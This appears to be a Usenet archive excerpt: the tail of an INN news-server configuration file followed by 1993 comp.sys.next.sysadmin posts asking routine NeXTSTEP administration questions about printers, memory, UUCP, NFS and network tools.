## Do you need <time.h> as well as <sys/time.h>? Pick DO or DONT.
#### =()<NEED_TIME @<NEED_TIME>@>()=
NEED_TIME DONT
## What predicate, if any, the <ctype.h> macros need
#### =()<CTYPE @<CTYPE>@>()=
CTYPE (isascii((c)) && isXXXXX((c)))
#CTYPE ((c) > 0 && isXXXXX((c)))
#CTYPE isXXXXX((c))
## What's the return type of abort? Usually int or void.
#### =()<ABORTVAL @<ABORTVAL>@>()=
ABORTVAL int
## What's the return type of alarm? Usually int or unsigned int.
#### =()<ALARMVAL @<ALARMVAL>@>()=
ALARMVAL int
## What's the return type of getpid? Usually int or unsigned int.
#### =()<GETPIDVAL @<GETPIDVAL>@>()=
GETPIDVAL int
## What's the return type of sleep? Usually int or unsigned int.
#### =()<SLEEPVAL @<SLEEPVAL>@>()=
SLEEPVAL int
## What's the return type of qsort? Usually int or void.
#### =()<QSORTVAL @<QSORTVAL>@>()=
QSORTVAL int
## What's the return type of lseek? Usually long or off_t.
#### =()<LSEEKVAL @<LSEEKVAL>@>()=
LSEEKVAL long
## What's the return type of free? Usually int or void.
#### =()<FREEVAL @<FREEVAL>@>()=
FREEVAL int
## What's the return type of exit? Usually int or void.
## (For gcc (not pedantic ANSI) use "volatile void" in EXITVAL and _EXITVAL.)
#### =()<EXITVAL @<EXITVAL>@>()=
EXITVAL volatile void
## What's the return type of _exit? Usually int or void.
#### =()<_EXITVAL @<_EXITVAL>@>()=
_EXITVAL volatile void
##
## 5. C LIBRARY OMISSIONS
## Possible values:
## MISSING_MAN strcasecmp.3 syslog.3
## MISSING_SRC strcasecmp.c syslog.c strerror.c getdtab.c
## MISSING_OBJ strcasecmp.o syslog.o strerror.o getdtab.c
## getdtab has a getdtablesize() routine if you need it; see the lib
## directory and Install.ms for others.
## OSx systems should add $(OSXATTOBJ) to MISSING_OBJ.
#### =()<MISSING_MAN @<MISSING_MAN>@>()=
MISSING_MAN
#### =()<MISSING_SRC @<MISSING_SRC>@>()=
MISSING_SRC mkfifo.c
#### =()<MISSING_OBJ @<MISSING_OBJ>@>()=
MISSING_OBJ mkfifo.o
##
## 6. MISCELLANEOUS CONFIG DATA
## Use read/write to update the active file, or mmap? Pick READ or MMAP.
#### =()<ACT_STYLE @<ACT_STYLE>@>()=
ACT_STYLE READ
## Do clients use our NNTP-server-open routine, or the one in NNTP?
## INND is nicer, but you must install inn.conf files everywhere; NNTP
## is better if you already have lots of /usr/lib/news/server files.
## Pick INND or NNTP.
#### =()<REM_STYLE @<REM_STYLE>@>()=
REM_STYLE INND
## Should rnews save articles that the server rejects? Pick DO or DONT.
#### =()<RNEWS_SAVE_BAD @<RNEWS_SAVE_BAD>@>()=
RNEWS_SAVE_BAD DONT
## Should rnews log articles innd already has? Pick SYSLOG, FILE, OR DONT.
#### =()<RNEWS_LOG_DUPS @<RNEWS_LOG_DUPS>@>()=
RNEWS_LOG_DUPS DONT
## Look in _PATH_RNEWSPROGS for rnews unpackers? Pick DO or DONT.
#### =()<RNEWSPROGS @<RNEWSPROGS>@>()=
RNEWSPROGS DO
## Should rnews try the local host? Pick DO or DONT.
#### =()<RNEWSLOCALCONNECT @<RNEWSLOCALCONNECT>@>()=
RNEWSLOCALCONNECT DO
## Environment variable that has remote hostname for rnews.
#### =()<_ENV_UUCPHOST @<_ENV_UUCPHOST>@>()=
_ENV_UUCPHOST UU_MACHINE
## Require posts to have under 50% inclusion (">") lines? Pick DO OR DONT.
## (This is only for inews and nnrpd.)
#### =()<CHECK_INCLUDED_TEXT @<CHECK_INCLUDED_TEXT>@>()=
CHECK_INCLUDED_TEXT DO
## Put hosts in the inews Path header? Pick DO or DONT.
#### =()<INEWS_PATH @<INEWS_PATH>@>()=
INEWS_PATH DO
## Munge the gecos field of password entry? Pick DO or DONT.
#### =()<MUNGE_GECOS @<MUNGE_GECOS>@>()=
MUNGE_GECOS DO
## How many times to try to fork before giving up
#### =()<MAX_FORKS @<MAX_FORKS>@>()=
MAX_FORKS 10
## Largest acceptable article size; 0 allows any size
#### =()<MAX_ART_SIZE @<MAX_ART_SIZE>@>()=
MAX_ART_SIZE 1000000
## Value of dbzincore(FLAG) call in innd. Pick 1 or 0.
#### =()<INND_DBZINCORE @<INND_DBZINCORE>@>()=
INND_DBZINCORE 1
## Should sub-processes get a nice(2) value? Pick DO or DONT.
#### =()<INND_NICE_KIDS @<INND_NICE_KIDS>@>()=
INND_NICE_KIDS DONT
## Value for nice(2) call in innd.
#### =()<INND_NICE_VALUE @<INND_NICE_VALUE>@>()=
INND_NICE_VALUE 10
## Null-terminated list of unknown commands to not log to syslog.
## INND_QUIET_BADLIST "xstream", "xfoo", NULL
#### =()<INND_QUIET_BADLIST @<INND_QUIET_BADLIST>@>()=
INND_QUIET_BADLIST NULL
## Null-terminated set of illegal distribution patterns for local postings.
#### =()<BAD_DISTRIBS @<BAD_DISTRIBS>@>()=
BAD_DISTRIBS "*.*",NULL
## Verify that the poster is the person doing the cancel? Pick DO or DONT.
#### =()<VERIFY_CANCELS @<VERIFY_CANCELS>@>()=
VERIFY_CANCELS DONT
## Log "ctlinnd cancel" commands to syslog? Pick DO or DONT.
#### =()<LOG_CANCEL_COMMANDS @<LOG_CANCEL_COMMANDS>@>()=
LOG_CANCEL_COMMANDS DONT
## File unknown "to.*" groups into the "to" newsgroup? Pick DO or DONT.
#### =()<MERGE_TO_GROUPS @<MERGE_TO_GROUPS>@>()=
MERGE_TO_GROUPS DONT
## File articles in unknown newsgroups into junk? Pick DO or DONT.
#### =()<WANT_TRASH @<WANT_TRASH>@>()=
WANT_TRASH DONT
## Record rejected articles in history? Pick DO or DONT.
#### =()<REMEMBER_TRASH @<REMEMBER_TRASH>@>()=
REMEMBER_TRASH DONT
## Check the linecount against the Lines header? Pick DO or DONT.
#### =()<CHECK_LINECOUNT @<CHECK_LINECOUNT>@>()=
CHECK_LINECOUNT DONT
## If checking, the error must be within LINECOUNT_FUZZ lines.
## Five is number of .signature lines + 1.
#### =()<LINECOUNT_FUZZ @<LINECOUNT_FUZZ>@>()=
LINECOUNT_FUZZ 5
## Have innd throttle itself after this many I/O errors.
#### =()<IO_ERROR_COUNT @<IO_ERROR_COUNT>@>()=
IO_ERROR_COUNT 50
## Default value for ctlinnd -t flag; use 0 to wait and poll.
#### =()<CTLINND_TIMEOUT @<CTLINND_TIMEOUT>@>()=
CTLINND_TIMEOUT 0
## Flush logs if we go this long with no I/O.
#### =()<DEFAULT_TIMEOUT @<DEFAULT_TIMEOUT>@>()=
DEFAULT_TIMEOUT 300
## INND closes channel if inactive this long (seconds).
#### =()<PEER_TIMEOUT @<PEER_TIMEOUT>@>()=
PEER_TIMEOUT (1 * 60 * 60)
## NNRP exits if inactive this long (seconds).
#### =()<CLIENT_TIMEOUT @<CLIENT_TIMEOUT>@>()=
CLIENT_TIMEOUT (2 * 60 * 60)
## Allow nnrpd readers when paused or throttled? Pick DO or DONT.
#### =()<ALLOW_READERS @<ALLOW_READERS>@>()=
ALLOW_READERS DO
## Refuse newsreader connections if load is higher then this; -1 disables.
#### =()<NNRP_LOADLIMIT @<NNRP_LOADLIMIT>@>()=
NNRP_LOADLIMIT 16
## Don't readdir() spool dir if same group within this many secs.
#### =()<NNRP_RESCAN_DELAY @<NNRP_RESCAN_DELAY>@>()=
NNRP_RESCAN_DELAY 60
## Do gethostbyaddr on client adresses in nnrp? Pick DO or DONT.
## (If DONT, then use only IP addresses in hosts.nnrp)
#### =()<NNRP_GETHOSTBYADDR @<NNRP_GETHOSTBYADDR>@>()=
NNRP_GETHOSTBYADDR DO
## How many Message-ID retrievals until nnrpd does a dbzincore? Set
## to -1 to never do incore.
#### =()<NNRP_DBZINCORE_DELAY @<NNRP_DBZINCORE_DELAY>@>()=
NNRP_DBZINCORE_DELAY 40
## Strip Sender from posts that didn't authenticate? Pick DO or DONT.
#### =()<NNRP_AUTH_SENDER @<NNRP_AUTH_SENDER>@>()=
NNRP_AUTH_SENDER DONT
## How many read/write failures until channel is put to sleep or closed?
#### =()<BAD_IO_COUNT @<BAD_IO_COUNT>@>()=
BAD_IO_COUNT 5
## Multiplier for sleep in EWOULDBLOCK writes (seconds).
#### =()<BLOCK_BACKOFF @<BLOCK_BACKOFF>@>()=
BLOCK_BACKOFF (2 * 60)
## How many article-writes between active and history updates?
#### =()<ICD_SYNC_COUNT @<ICD_SYNC_COUNT>@>()=
ICD_SYNC_COUNT 10
## Tell resolver _res.options to be fast? Pick DO or DONT.
#### =()<FAST_RESOLV @<FAST_RESOLV>@>()=
FAST_RESOLV DONT
## Drop articles that were posted this many days ago.
#### =()<DEFAULT_CUTOFF @<DEFAULT_CUTOFF>@>()=
DEFAULT_CUTOFF 14
## Maximum number of incoming NNTP connections.
#### =()<DEFAULT_CONNECTIONS @<DEFAULT_CONNECTIONS>@>()=
DEFAULT_CONNECTIONS 50
## Wait this many seconds before channel restarts.
#### =()<CHANNEL_RETRY_TIME @<CHANNEL_RETRY_TIME>@>()=
CHANNEL_RETRY_TIME (5 * 60)
## Wait this many seconds before seeing if pause is ended.
#### =()<PAUSE_RETRY_TIME @<PAUSE_RETRY_TIME>@>()=
PAUSE_RETRY_TIME (5 * 60)
## Wait this many seconds between noticing inactive channels.
#### =()<CHANNEL_INACTIVE_TIME @<CHANNEL_INACTIVE_TIME>@>()=
CHANNEL_INACTIVE_TIME (10 * 60)
## Put nntplink info (filename) into the log?
#### =()<NNTPLINK_LOG @<NNTPLINK_LOG>@>()=
NNTPLINK_LOG DONT
## Log by host IP address, rather than from Path line?
#### =()<IPADDR_LOG @<IPADDR_LOG>@>()=
IPADDR_LOG DONT
## Log NNTP activity after this many articles.
#### =()<NNTP_ACTIVITY_SYNC @<NNTP_ACTIVITY_SYNC>@>()=
NNTP_ACTIVITY_SYNC 200
## Free buffers bigger than this when we're done with them.
#### =()<BIG_BUFFER @<BIG_BUFFER>@>()=
BIG_BUFFER (2 * START_BUFF_SIZE)
## A general small buffer.
#### =()<SMBUF @<SMBUF>@>()=
SMBUF 256
## Buffer for a single article name.
#### =()<MAXARTFNAME @<MAXARTFNAME>@>()=
MAXARTFNAME 10
## Buffer for a single pathname in the spool directory.
#### =()<SPOOLNAMEBUFF @<SPOOLNAMEBUFF>@>()=
SPOOLNAMEBUFF 512
## Maximum size of a single header.
#### =()<MAXHEADERSIZE @<MAXHEADERSIZE>@>()=
MAXHEADERSIZE 1024
## Byte limit on locally-posted articles; 0 to disable the check.
#### =()<LOCAL_MAX_ARTSIZE @<LOCAL_MAX_ARTSIZE>@>()=
LOCAL_MAX_ARTSIZE 0
## Do you have uustat, or just uuq? Pick DO or DONT
#### =()<HAVE_UUSTAT @<HAVE_UUSTAT>@>()=
HAVE_UUSTAT DO
##
## 7. PATHS TO COMMON PROGRAMS
## Where the raison d'etre for this distribution lives.
#### =()<_PATH_INND @<_PATH_INND>@>()=
_PATH_INND /usr/local/etc/innd
## Where the optional front-end that exec's innd lives.
#### =()<_PATH_INNDSTART @<_PATH_INNDSTART>@>()=
_PATH_INNDSTART /usr/local/etc/inndstart
## Where news boot-up script should be installed.
#### =()<_PATH_NEWSBOOT @<_PATH_NEWSBOOT>@>()=
_PATH_NEWSBOOT /usr/local/etc/rc.news
## Where sendmail, or a look-alike, lives.
## The -t is optional and says to read message for recipients
#### =()<_PATH_SENDMAIL @<_PATH_SENDMAIL>@>()=
_PATH_SENDMAIL /usr/lib/sendmail -t
## Where the shell is.
#### =()<_PATH_SH @<_PATH_SH>@>()=
_PATH_SH /bin/sh
## Where the compress program lives.
#### =()<_PATH_COMPRESS @<_PATH_COMPRESS>@>()=
_PATH_COMPRESS /usr/ucb/compress
## What extension your compress appends
#### =()<_PATH_COMPRESSEXT @<_PATH_COMPRESSEXT>@>()=
_PATH_COMPRESSEXT .Z
## Where egrep lives (you might need the FSF one; see scanlogs)
#### =()<_PATH_EGREP @<_PATH_EGREP>@>()=
_PATH_EGREP /usr/bin/egrep
## Where awk lives
#### =()<_PATH_AWK @<_PATH_AWK>@>()=
_PATH_AWK /usr/local/bin/gawk
## Where sed lives (you might need the FSF one)
#### =()<_PATH_SED @<_PATH_SED>@>()=
_PATH_SED sed
## Where inews lives.
#### =()<_PATH_INEWS @<_PATH_INEWS>@>()=
_PATH_INEWS /usr/local/news/inews
## Where rnews lives.
#### =()<_PATH_RNEWS @<_PATH_RNEWS>@>()=
_PATH_RNEWS /bin/rnews
## Where the NNRP server lives.
#### =()<_PATH_NNRPD @<_PATH_NNRPD>@>()=
_PATH_NNRPD /usr/local/etc/in.nnrpd
## The path of the process run when an unknown host connects to innd.
## Usually the same as _PATH_NNRPD, but may be, e.g., the path to
## nntpd from the reference implementation.
#### =()<_PATH_NNTPD @<_PATH_NNTPD>@>()=
_PATH_NNTPD /usr/local/etc/in.nnrpd
## Where the NNQR server lives. Make same as _PATH_NNRPD for now
#### =()<_PATH_NNQRD @<_PATH_NNRPD>@>()=
_PATH_NNQRD /usr/local/etc/in.nnrpd
## Where most other programs live.
## See also _PATH_RNEWSPROGS and _PATH_CONTROLPROGS, below.
#### =()<_PATH_NEWSBIN @<_PATH_NEWSBIN>@>()=
_PATH_NEWSBIN /usr/local/news/bin
## Where temporary files live on the server
#### =()<_PATH_TMP @<_PATH_TMP>@>()=
_PATH_TMP /tmp
## Command to send mail (with -s "subject" allowed)
#### =()<_PATH_MAILCMD @<_PATH_MAILCMD>@>()=
_PATH_MAILCMD /usr/ucb/Mail
## Where scripts should have shlock create locks.
#### =()<_PATH_LOCKS @<_PATH_LOCKS>@>()=
_PATH_LOCKS /usr/local/news
##
## 8. PATHS RELATED TO THE SPOOL DIRECTORY
## Spool directory, where articles live.
#### =()<_PATH_SPOOL @<_PATH_SPOOL>@>()=
_PATH_SPOOL /usr/local/spool/news
## Spool directory where overview data lives.
#### =()<_PATH_OVERVIEWDIR @<_PATH_OVERVIEWDIR>@>()=
_PATH_OVERVIEWDIR /usr/local/spool/news
## Name of overview file within its spool directory.
#### =()<_PATH_OVERVIEW @<_PATH_OVERVIEW>@>()=
_PATH_OVERVIEW .overview
## Where rnews spools its input.
#### =()<_PATH_SPOOLNEWS @<_PATH_SPOOLNEWS>@>()=
_PATH_SPOOLNEWS /usr/local/spool/news/in.coming
## Where rnews creates temporary files until finished
#### =()<_PATH_SPOOLTEMP @<_PATH_SPOOLTEMP>@>()=
_PATH_SPOOLTEMP /usr/local/spool/news/in.coming/tmp
## Where rnews puts bad input.
#### =()<_PATH_BADNEWS @<_PATH_BADNEWS>@>()=
_PATH_BADNEWS /usr/local/spool/news/in.coming/bad
## Where rnews puts bad input, relative to _PATH_SPOOLNEWS.
#### =()<_PATH_RELBAD @<_PATH_RELBAD>@>()=
_PATH_RELBAD bad
##
## 9. EXECUTION PATHS FOR INND AND RNEWS
## Pathname where dups are logged if RNEWS_LOG_DUPS is FILE.
#### =()<_PATH_RNEWS_DUP_LOG @<_PATH_RNEWS_DUP_LOG>@>()=
_PATH_RNEWS_DUP_LOG /dev/null
## Rnews may execute any program in this directory; see RNEWSPROGS.
#### =()<_PATH_RNEWSPROGS @<_PATH_RNEWSPROGS>@>()=
_PATH_RNEWSPROGS /usr/local/news/bin/rnews
## Path to control messages scripts.
#### =()<_PATH_CONTROLPROGS @<_PATH_CONTROLPROGS>@>()=
_PATH_CONTROLPROGS /usr/local/news/bin/control
## Default "unknown/illegal" control script, within _PATH_CONTROLPROGS.
#### =()<_PATH_BADCONTROLPROG @<_PATH_BADCONTROLPROG>@>()=
_PATH_BADCONTROLPROG default
##
## 10. SOCKETS CREATED BY INND OR CLIENTS
#### =()<_PATH_INNDDIR @<_PATH_INNDDIR>@>()=
_PATH_INNDDIR /usr/local/news/innd
## Unix-domain stream socket that rnews connects to.
#### =()<_PATH_NNTPCONNECT @<_PATH_NNTPCONNECT>@>()=
_PATH_NNTPCONNECT /usr/local/news/innd/nntpin
## Unix-domain datagram socket that ctlinnd to.
#### =()<_PATH_NEWSCONTROL @<_PATH_NEWSCONTROL>@>()=
_PATH_NEWSCONTROL /usr/local/news/innd/control
## Temporary socket created by ctlinnd; run through mktemp
#### =()<_PATH_TEMPSOCK @<_PATH_TEMPSOCK>@>()=
_PATH_TEMPSOCK /usr/local/news/innd/ctlinndXXXXXX
##
## 11. LOG AND CONFIG FILES
## Shell script that sets most of these as shell vars
#### =()<_PATH_SHELLVARS @<_PATH_SHELLVARS>@>()=
_PATH_SHELLVARS /usr/local/news/innshellvars
## Where most config and data files are usually stored; not required
## to the home directory of NEWSUSER.
#### =()<_PATH_NEWSLIB @<_PATH_NEWSLIB>@>()=
_PATH_NEWSLIB /usr/local/news
## The server's log file.
#### =()<_PATH_LOGFILE @<_PATH_LOGFILE>@>()=
_PATH_LOGFILE /usr/local/log/news/news
## The server's error log file.
#### =()<_PATH_ERRLOG @<_PATH_ERRLOG>@>()=
_PATH_ERRLOG /usr/local/log/news/errlog
## Where most sylog log files go; see also scanlogs, innstat, etc.
#### =()<_PATH_MOST_LOGS @<_PATH_MOST_LOGS>@>()=
_PATH_MOST_LOGS /usr/local/log/news
## How many generates of log files to keep.
#### =()<LOG_CYCLES @<LOG_CYCLES>@>()=
LOG_CYCLES 7
## Text value of the server's pid.
#### =()<_PATH_SERVERPID @<_PATH_SERVERPID>@>()=
_PATH_SERVERPID /usr/local/news/innd/innd.pid
## The newsfeeds file, on the server host.
#### =()<_PATH_NEWSFEEDS @<_PATH_NEWSFEEDS>@>()=
_PATH_NEWSFEEDS /usr/local/news/newsfeeds
## The article history database, on the server host.
#### =()<_PATH_HISTORY @<_PATH_HISTORY>@>()=
_PATH_HISTORY /usr/local/news/history
## File listing the sites that feed us news.
#### =()<_PATH_INNDHOSTS @<_PATH_INNDHOSTS>@>()=
_PATH_INNDHOSTS /usr/local/news/hosts.nntp
## The active file, on the server host.
#### =()<_PATH_ACTIVE @<_PATH_ACTIVE>@>()=
_PATH_ACTIVE /usr/local/news/active
## A temporary active file, for writing on the server host.
#### =()<_PATH_NEWACTIVE @<_PATH_NEWACTIVE>@>()=
_PATH_NEWACTIVE /usr/local/news/active.tmp
## An old active file on the server host.
#### =()<_PATH_OLDACTIVE @<_PATH_OLDACTIVE>@>()=
_PATH_OLDACTIVE /usr/local/news/active.old
## The log of when groups are created.
#### =()<_PATH_ACTIVETIMES @<_PATH_ACTIVETIMES>@>()=
_PATH_ACTIVETIMES /usr/local/news/active.times
## Where batch files are located.
#### =()<_PATH_BATCHDIR @<_PATH_BATCHDIR>@>()=
_PATH_BATCHDIR /usr/local/spool/news/out.going
## Where archives are kept.
#### =()<_PATH_ARCHIVEDIR @<_PATH_ARCHIVEDIR>@>()=
_PATH_ARCHIVEDIR /usr/local/spool/news/news.archive
## Where NNRP distributions file is
#### =()<_PATH_NNRPDIST @<_PATH_NNRPDIST>@>()=
_PATH_NNRPDIST /usr/local/news/distributions
## Where the default Distribution assignments file is
#### =()<_PATH_DISTPATS @<_PATH_DISTPATS>@>()=
_PATH_DISTPATS /usr/local/news/distrib.pats
#### =()<_PATH_NEWSGROUPS @<_PATH_NEWSGROUPS>@>()=
_PATH_NEWSGROUPS /usr/local/news/newsgroups
## File where client configuration parameters can be read.
#### =()<_PATH_CONFIG @<_PATH_CONFIG>@>()=
_PATH_CONFIG /usr/local/news/inn.conf
## The possible active file, on clients (NFS-mounted, e.g.).
#### =()<_PATH_CLIENTACTIVE @<_PATH_CLIENTACTIVE>@>()=
_PATH_CLIENTACTIVE /usr/local/news/active
## A temporary file, for client inews to use.
#### =()<_PATH_TEMPACTIVE @<_PATH_TEMPACTIVE>@>()=
_PATH_TEMPACTIVE /tmp/activeXXXXXX
## Where to mail to the moderators.
#### =()<_PATH_MODERATORS @<_PATH_MODERATORS>@>()=
_PATH_MODERATORS /usr/local/news/moderators
## Where NNTP puts the name of the server.
#### =()<_PATH_SERVER @<_PATH_SERVER>@>()=
_PATH_SERVER /usr/local/news/server
## File with name/password for all remote connections.
#### =()<_PATH_NNTPPASS @<_PATH_NNTPPASS>@>()=
_PATH_NNTPPASS /usr/local/news/passwd.nntp
## NNRP access file.
#### =()<_PATH_NNRPACCESS @<_PATH_NNRPACCESS>@>()=
_PATH_NNRPACCESS /usr/local/news/nnrp.access
## Default expire control file.
#### =()<_PATH_EXPIRECTL @<_PATH_EXPIRECTL>@>()=
_PATH_EXPIRECTL /usr/local/news/expire.ctl
## Prolog to parse control scripts
#### =()<_PATH_PARSECTL @<_PATH_PARSECTL>@>()=
_PATH_PARSECTL /usr/local/news/parsecontrol
## Access control file for control scripts.
#### =()<_PATH_CONTROLCTL @<_PATH_CONTROLCTL>@>()=
_PATH_CONTROLCTL /usr/local/news/control.ctl
## Innwatch control file.
#### =()<_PATH_CTLWATCH @<_PATH_CTLWATCH>@>()=
_PATH_CTLWATCH /usr/local/news/innwatch.ctl
## Where innwatch writes its own pid.
#### =()<_PATH_WATCHPID @<_PATH_WATCHPID>@>()=
_PATH_WATCHPID /usr/local/news/innwatch.pid
## Where innwatch writes status when it gets an interrupt
#### =()<_PATH_INNWSTATUS @<_PATH_INNWSTATUS>@>()=
_PATH_INNWSTATUS /usr/local/news/innwatch.status
## Format of news overview database
#### =()<_PATH_SCHEMA @<_PATH_SCHEMA>@>()=
_PATH_SCHEMA /usr/local/news/overview.fmt
##
## 12. INNWATCH CONFIGURATION
## Load average (* 100) at which innd should be paused.
#### =()<INNWATCH_PAUSELOAD @<INNWATCH_PAUSELOAD>@>()=
INNWATCH_PAUSELOAD 1500
## Load average (* 100) at which innd should be throttled.
#### =()<INNWATCH_HILOAD @<INNWATCH_HILOAD>@>()=
INNWATCH_HILOAD 2000
## Load average (* 100) at which to restart innd (pause/throttle undone).
#### =()<INNWATCH_LOLOAD @<INNWATCH_LOLOAD>@>()=
INNWATCH_LOLOAD 1000
## Space, in df output units, at which to throttle innd on _PATH_SPOOL.
#### =()<INNWATCH_SPOOLSPACE @<INNWATCH_SPOOLSPACE>@>()=
INNWATCH_SPOOLSPACE 8000
## Space, in df output units, at which to throttle innd on _PATH_BATCHDIR.
#### =()<INNWATCH_BATCHSPACE @<INNWATCH_BATCHSPACE>@>()=
INNWATCH_BATCHSPACE 800
## Space, in df output units, at which to throttle innd on _PATH_NEWSLIB.
#### =()<INNWATCH_LIBSPACE @<INNWATCH_LIBSPACE>@>()=
INNWATCH_LIBSPACE 25000
## Number of inodes at which to throttle innd on _PATH_SPOOL.
#### =()<INNWATCH_SPOOLNODES @<INNWATCH_SPOOLNODES>@>()=
INNWATCH_SPOOLNODES 200
## How long to sleep between innwatch iterations.
#### =()<INNWATCH_SLEEPTIME @<INNWATCH_SLEEPTIME>@>()=
INNWATCH_SLEEPTIME 600
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From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Subject: etherfind for NeXT?
Message-ID: <scott.739795546@shrug>
Organization: University of Newcastle upon Tyne, UK, NE1 7RU
Date: Fri, 11 Jun 1993 10:45:46 GMT
I'm interested in doing some serious network adminstration and
nosing about, and know that the sun etherfind thing does pretty
much what I want, but I've never seen it in soruce form..
Are there any tools for the NeXT that allow serious investigation
of ethernet packets? Not just counting, but displaying, getting
ethernet addresses from IP and so on?
Any help appreciated,
Scott
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From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: Experience with Nexts and Dec laser printer?
Date: 11 Jun 1993 10:26:24 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <1va4mgINN1r7@jhunix.hcf.jhu.edu>
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: Experience with Dec Laser?
Date: 11 Jun 1993 10:28:05 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <1va4plINN1tm@jhunix.hcf.jhu.edu>
References: <1va4mgINN1r7@jhunix.hcf.jhu.edu>
Has anyone successfully used the new Dec laser postscript
level 2 printer ($999) with a Next Turbo? How did you do it?
Thanks
Robert de Lucca
email robinc@jhunix.hcf.jhu.edu
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From: nalberts@teal.csn.org (Nathan Albertson)
Subject: Re: I have 32MB RAM, NS/FIP will only see 16MB
Message-ID: <C89CLt.MDs@csn.org>
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Date: Mon, 7 Jun 1993 15:34:40 GMT
alastair@farli.otago.ac.nz (Alastair Thomson) writes:
: Hi there,
: We have a Compaq Deskpro 66M running NS/FIP Pre-release 1.
: We originally had 16MB of RAM in it and recently upgraded it to 32MB.
: The problem is that NeXTSTEP will still only see 16MB. Is this
: something specific to the pre release, or does it happen all the
: time?
:
: Any help would be appreciated as we need to demo a system in two
: weeks with our app that make the window server grow to about 26MB, so
: 16 makes it swap like crazy!
:
: Many thanks
: Alastair
:
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From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: PPD Files for HP IV?
Date: 11 Jun 1993 11:16:32 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <1va7kgINN6t5@jhunix.hcf.jhu.edu>
Can someone send me the PPD files for the HP Laser jet IV
(the postscript and non-postscript versions). I don't mean the
new 4L, but I could probably use those as well. They were on the
archives, which seem to have been decimated recently.
Thanks
Robert de Lucca
email: robinc@jhunix.hcf.jhu.edu
Nextmail: rdelucca@rosemary.uucp.jhu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: esky@marathon.cs.ucla.edu (Eskandar Ensafi)
Subject: Support for non-PostScript printers
Message-ID: <1993Jun7.175206.9915@cs.ucla.edu>
Sender: usenet@cs.ucla.edu (Mr Usenet)
Organization: UCLA CS Department, Los Angeles, CA
Date: Mon, 7 Jun 93 17:52:06 GMT
Hi,
If I connect a non-PostScript printer (like an HP LaserJet III *without* a
PostScript cartridge) to a machine running NeXTSTEP, will I be able to print
just as if I were printing to the NeXT 400 dpi Laser Printer or is their no
support for this?
One of the nice things about owning a NeXT was that you had access to the
latest PostScript version with each NeXTSTEP release. However, the beauty
of this begins to fade when your computer is running Display PostScript
Level II while your printer is just Level I.
I'd appreciate any information or suggestions -- e-mail preferred.
Thank you,
Eskandar.
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From: mzeller@gwdu03.gwdg.de (Meinrad Zeller)
Subject: Re: UUCP NS/FIP
Message-ID: <S78DBIUM@gwdu03.gwdg.de>
Organization: GWDG, Goettingen
References: <glenC85nx3.EnF@netcom.com>
Date: Mon, 7 Jun 1993 20:15:51 GMT
Steven Kornreich (glen@netcom.com) wrote:
: I am triing to setup UUCP on NS/FIP and I am getting an error message
: "CANT OPEN cua" which is the port I have my modem connected to. I can "tip"
: my modem fine. Any ideas???
On the black hardware you had to change the permissions to rw- for group
and other users. I guess under NSI its the same.
Meinrad
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From: rngu@mipos2.intel.com (Robert Ngu)
Subject: explanation needed
Message-ID: <C89ru6.2oz@inews.intel.com>
Sender: news@inews.intel.com (USENET News System)
Organization: Intel Corporation, Santa Clara, CA USA
Distribution: usa
Date: Mon, 7 Jun 1993 21:03:42 GMT
Hi all,
Can someone please explain to me what the following line in Archie.pkg sub
dir after uncompressing:
...
#The location of the application archive
Ftpsite superc.che.udel.edu:/pub/Archie.tar.Z
It is in the file, Archie.info. While installing Archie on my Intel-based
machine, it came up with a message saying that it cannot connect to the
computer, superc.che.udel.edu. I downloaded the compress file from the
nova.cc.purdue.edu site and I never got the program to install all the way.
Apparently, it is looking to connect to another computer to find the actual
binaries??
Please help... I am new to NextStep.
Thanks a zillion,
Bob Ngu
From: kazdan@mail.sas.upenn.edu (Jerry L. Kazdan)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS mount to have NS Extended System
Message-ID: <130027@netnews.upenn.edu>
Date: 7 Jun 93 20:19:01 GMT
Sender: news@netnews.upenn.edu
Organization: University of Pennsylvania, School of Arts and Sciences
I have a NeXTSTATION (200 MB hard disk) running NS 3.0 (soon
to be upgraded to 3.1). Because of the small hard disk it has no c
compiler etc. Thus, I would like to be able to NFS mount another
NeXT computer (on which I have an account) to use its complete
development environment. The two NeXT computers are both on Internet
but at different locations.
About a year and a half ago I was told of a NeXT utility
"NfsExtend" that will make a 2.1 system into a 2.1 extended system by
mounting the appropriate files on a server.
Is there a version of this (or some substitute) for NeXTSTEP 3.0
or 3.1 --- on black hardware?
From: gday@ignatz.inde.bc.ca (Gordon Day)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How do you execute a program from your .plan file?
Message-ID: <GDAY.93Jun7144833@ignatz.inde.bc.ca>
Date: 7 Jun 93 22:48:33 GMT
References: <9306050045.AA23741@gaul.csd.uwo.ca> <GDAY.93Jun4205836@ignatz.inde.bc.ca>
<CEDMAN.93Jun7082714@capitalist.princeton.edu>
Sender: news@inde.bc.ca
Organization: INDE Electronics, Inc.
In-Reply-To: cedman@princeton.edu's message of Mon, 7 Jun 1993 13:27:14 GMT
I've received a couple of emails on this, so I thought I'd just
clarify my original tongue in cheek reply.
It is easy to make a program that executes a .plan file, but unless
something magical has happened, the stock Unix fingerd does not have
that capability. I presumed that the original poster was interested
in getting that functionality out of the NeXT fingerd.
Ta,
Gordon
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Newsgroups: comp.sys.next.sysadmin
From: mahoney@csulb.edu (Mike Mahoney)
Subject: Sybase: Installing from NeXTSTEP 1.0 Disk
Message-ID: <C89yGJ.w5@csulb.edu>
Sender: news@csulb.edu (News Administration/Rumor Bureau)
Organization: Cal State Long Beach
Date: Mon, 7 Jun 1993 23:26:42 GMT
Does anyone know how I can install Sybase off of the NeXTSTEP 1.0 Disk?
I've got the disk, and I only need the exact procedure.
Direct e-mail would be extremely appreciated.
-mike
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Professor and Chair
Computer Engineering and Computer Science Dept
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From: fedor@hopper.Colorado.EDU (Adam Fedor)
Subject: Problem with owner/group on external HD
Message-ID: <1993Jun11.150710.16543@colorado.edu>
